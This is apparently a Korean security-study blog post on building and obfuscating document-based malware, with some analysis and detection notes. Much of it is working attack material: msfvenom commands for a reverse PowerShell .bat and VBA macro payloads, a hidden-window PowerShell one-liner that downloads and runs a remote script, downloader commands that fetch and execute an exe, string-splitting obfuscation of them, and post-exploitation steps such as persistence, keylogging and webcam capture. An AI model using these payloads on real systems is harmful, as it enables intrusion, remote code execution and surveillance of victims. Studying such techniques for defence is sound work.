wonder
정보보안 스터디 - 20주차 5일 - 문서형 악성파일, 난독화 방법 본문
reverse_powershell
파워쉘을 실행할 수 있는 파일 형식(bat)으로 reverse_tcp 연결 하는 방법입니다.
reverse_powershell 페이로드를 사용합니다.
msfvenom -p cmd/windows/reverse_powershell \ lhost=192.168.2.50 \ lport=4444 > /root/Desktop/PowerShell-3.bat |
kali에서 만든 파일을 windows7 유저에게 어떤 방법으로든 전송해서 실행하게 만듭니다.
만들어진 bat 파일을 notepad++에서 열어 내용을 확인해보면
연결하는 socket 기능이 보입니다.
Poweliks
파일리스 Poweliks 악성코드는 파일이 없는 악성코드, 즉 레지스트리에 등록되는 방식의 악성코드 입니다.
백신 탐지가 안되고 치료도 어려운 특징이 있습니다.
bat파일로 제작합니다.
powershell -noprofile -windowstyle hidden iex (new-object net.webclient).downloadstring('http://192.168.2.182/Poweliks.ps1');Persist-Poweliks -cobaltstrike_gen_payload abcd |
외부에서 문자열 악성코드를 받아오는 것이기 때문에 파일형식이 아닙니다. ps1 파워쉘을 github에서 받아 사용합니다.
레지스트리에 등록된 것을 볼 수 있고, 약간의 깨진 문자만 제거해주면 됩니다.
파워쉘 난독화 과정
난독화는 코드의 크기를 증가시키고 분석을 혼란스럽게 만들 수 있습니다.
1. 축약
PowerShell (New-Object System.Net.WebClient).DownloadFile('https://wonder.tistory.com/attachment/cfile7.uf@99DC973E5D30314E278F D2.exe','c:/putty.exe');Invoke-Expression('c:/putty.exe'); |
System.Net.WebClient에서 System을 제거해도 동작이 가능합니다.
Invoke-Expression 은 IEX로 축약할 수 있습니다.
PowerShell (New-Object Net.WebClient).DownloadFile('https://wonder.tistory.com/attachment/cfile7.uf@99DC973E5D30314E278FD2.exe',' c:/putty.exe','c:/putty.exe');IEX('c:/putty.exe'); |
2. +추가
'N'+'et.W'+'eb'+'Client' 로 보기가 어렵게 늘릴 수 있습니다. 실행은 당연히 됩니다.
PowerShell (New-Object ('N'+'et.W'+'eb'+'Cl'+'ie'+'nt')).'DownloadFile'('ht'+'tps://.tist'+'ory.c'+'om/atta'+'chme'+'nt/c'+'file7.' +'uf@99DC97'+'3E5'+'D3'+'0314E'+'278F'+'D2.exe','c:/putty.exe');IEX('c:/putty.exe'); |
3. base64 난독화
.doc 워드파일에서 파워쉘을 실행하도록했고 그 과정에서 base64 난독화를 한것으로 보입니다.
대소문자가 섞여있지만 대문자가 많고 끝에 == 를 보니 바로 알 것 같습니다.
하이브리드-analysis 분석 사이트에서 해당 악성파일을 분석해보면 base64로된 문자들이 복잡하고 길게 뜨는데
알아서 디코드 한걸 보여줍니다. base64 디코드사이트에서 해도 상관없습니다.
hybrid-analysis 에서는 참고로 스크린샷이 뜨기 때문에 보기가 좋습니다.
디코드 한 부분에서
변수 $a, $b 로 나눠서
-JoIn ($a.sPLIt($b) | forEach { ( [iNT] $_ -As [cHAR])});
변수선언으로 짧게 식처럼 만들어줍니다.
그리고 이 코드전체를 powershell ISE에 입력하고 실행합니다.
평문으로 볼 수 있고 JSFormat까지 해줍니다.
3-2)
base64로 디코딩 된 부분을 이렇게 ISE에 넣고 실행합니다.
여기서 마지막 부분은 악성코드 함부로 실행되면 안되기 때문에 주석처리를 해놓았고
파이썬 IDLE을 이용해 CoMSpec[4,26,25] 값을 확인해보면 iex입니다.
자바스크립트 난독화 과정
<script> n = 777; a = "casino"; alert(a); alert(n); </script> |
기존에 이 자바스크립트 평문을
난독화합니다.
1. Compress
공백을 아예 없애고 한줄로 표현하는 방식입니다.
2. Function
쓸데없이 함수인척합니다.
3. Data split
평문을 변수들을 쓸데없이 많이 선언해서 쪼갠 후, 마지막에 다시 합쳐서 실행합니다.
하지만 이것도 마찬가지로 병렬로 보기좋게 나열하면
구분이 가능합니다.
4. Data replace
쓸모없는 정보를 집어넣는 방식입니다.
어짜피 마지막에 실행될 때 replace함수를 사용해서 문자열들을 제거시켜주지만
그래도 분석할 때는 충분히 헷갈릴 수 있습니다.
반복적으로 집어넣었을 경우는 바꾸기 기능을 이용해서 문자를 없애주는 수밖에 없습니다.
만약 랜덤값으로 집어 넣었다면 제거하기 조금 어려울 수 있을 듯합니다.
5. ASCII encoding
코드가 ascii 로 인코딩되어 난독화(%16진수로 표현합니다.)된 방법입니다.
ascii 난독화를 했을 때는
1) 일단 플러그인 > JSTool > JSFormat으로 라인을 보기 좋게 만듭니다.
2) 바꾸기 기능을 이용해서 %를 없앱니다. notepad++는 기능이 많은 것 같습니다. 물론 실행까지 되니까 악성코드면 조심해야합니다.
3) 공백을 없애고 16진수로만된 숫자들을 드래그 해서 플러그인 > Convert > (hex>ascii) 를 선택합니다. 그러면 원래 문자열로 확인할 수 있습니다. 생각보다 단순한 난독화였습니다.
6. 예제
순서대로 나열한것이아니라 랜덤값으로 문자열을 매칭하고 마지막에 eval함수로 처리하는 방법도 있습니다.
일단 마찬가지로 JSFormat으로 줄정리를 하고 난독화된 코드를 크롬 개발자도구 > console에 넣으면 알아서 실행해서 실행했을 때의 평문코드로 만들어줍니다.
분석 결과 다운로더 였으며 다운되는 파일은 랜섬웨어였습니다.
하지만 원문에서 변수 지정 및 사용 자체를 복잡하게 해놓았으면 분석이 어려울 수 있습니다.
또한 여기서 알 수 있는 점은 공격자들은 난독화를 중복으로 사용할 수 있다는 점입니다.
+ 자바스크립트를 이용한 reverse tcp를 제작할수도 있습니다.(MyJSRat 이용)
VBA 매크로 악성코드 제작
msfvenom에서 cmd 명령어를 실행하는 실행파일을 만든 후에 VBA매크로 언어로 만들 수 있습니다. 그걸 VBA 매크로에 넣고 다시실행해보면 옵션이 뜨고 매크로 경고를 허용해야 실행됩니다.
자동으로 실행되기 때문에 확실히 위험합니다.
예를 들어
1) cmd명령어로 사용할 수 있는 것은 예시로 그림판이나 notepad 실행을 할 수 있습니다.
msfvenom -a x86 --platform windows -p windows/exec -f vba cmd='mspaint.exe' |
exec 페이로드를 사용합니다. vba파일 타입으로 출력하게 합니다.
해당 VBA코드를 복사해서 매크로에 집어넣고 실행합니다.
매크로를 포함한 엑셀은 xlsm파일형식, 워드는 docm파일형식으로 저장해야합니다.
2) cmd명령어는 뭐든 가능하기 때문에 파워쉘코드를 넣어서 msfvenom을 만들 수도 있습니다.
msfvenom -a x86 --platform windows -p windows/exec -f vba \ cmd="PowerShell (New-Object System.Net.WebClient).\ DownloadFile('https://.tistory.com/attachment/cfile7.uf@99DC973E5D30314E278FD2.exe',\ 'c:/putty.exe');(New-Object -com Shell.Application).ShellExecute('c:/putty.exe');" |
바로 파워쉘을 실행하는 방식입니다. 다운로더 입니다.
파워쉘 다운로더 코드를 워드에 넣고 실행하면 악성코드파일(랜섬웨어, reverse_tcp 등)이 실행되는 것을 볼 수 있습니다.
3~4) macro_pack
기존에 만든 VBA파일을 매크로팩을 이용해 docm파일 형식으로 만듭니다.
여기서 VBA파일은 바로 매크로로 불러오는 것은 안되지만 notepad++로 확인, 편집이 가능합니다.
macro_pack -f Vba-3.vba -o -G Vba-3.docm |
파일이 어떤건지에 따라 다른데
그림판을 실행하는 것일 수도 있고,
파워쉘을 통해 랜섬웨어를 다운 후 실행하는 것일수도 있습니다.
어쨌든 cmd= 형식의 실행 페이로드니까요.
5) reverse_tcp 연결을 하는 백도어를 VBA 매크로 코드로 만들어서 실행시킵니다.
매크로를 넣고 공격자 시스템에서는 리슨상태로 만들어줍니다.
reverse_tcp에 세션이 잡혔다면 sessions -i 1로 들어가
연결해서 시스템 getgid> getuid 권한을 얻고
바로 프로세스를 explorer.exe 부모 프로세스 ID로 migrate 합니다. 또 윈도우 서비스 등록 또는 Run시작프로그램 레지스트리로 등록해야합니다. 그다음 파일 dump, 웹캠, 키로거, 스크린샷 등을 시도합니다.
6) HTA(HTML Application)
hta는 html 방식으로 작동되는 실행파일이며
html확장자를 그냥 .hta 확장자로 바꾸기만 해도 적용이 되고 실행했을 때 html 와 같은 화면이 실행창으로 뜹니다.
예를 들어 http://localhost/default.hta
주소로 이동하면 바로 다운로드가 되는 방식이기 때문에 바로 실행할 가능성이 큽니다.
워드에 링크를 걸어서 매크로를 허용한다면 그냥 바로 이 주소로 이동시키고 reverse_tcp를 실행까지 시키는 방법도 있습니다.
exploit/windows/fileformat/office_word_hta 페이로드를 사용합니다.
생성되는 주소에 접속하면 다운이 되고
이 링크를 매크로에 걸어줍니다.
악성파일 검사
이 문서형 악성파일들을 virus total에 넣고 검사해보면
어떤 것은 정확하게 Doc/VBA 라고 나오지만 downloader라고 나오는 것도 있습니다.
예전에는 백신이 탐지하기가 어려웠지만 워낙 오래된 방법이기도 하고 요즘에는 VBA매크로 코드를 의심해보기 때문에 대부분 잡습니다.
알약에 넣었을 때도 virus total에서 본 것과 마찬가지로 악성코드명이 나옵니다. 정밀검사에서 해야하고 치료는 그냥 삭제하는 방식입니다.
'Security > 리버싱' 카테고리의 다른 글
정보보안 스터디 - 21주차 2일 - 백도어 분석 (2) | 2023.03.03 |
---|---|
정보보안 스터디 - 20주차 6일 - 문서형 악성파일 상세연구2 (2) | 2023.03.01 |
정보보안 스터디 - 20주차 2일 - 악성파일 분석 상세연구3 (1) | 2023.02.24 |
정보보안 스터디 - 19주차 7일 - 모르는 악성 파일 분석 (1) | 2023.02.22 |
정보보안 스터디 - 19주차 6일 - 드롭퍼, 파일리스 악성코드 (+보완) (2) | 2023.02.22 |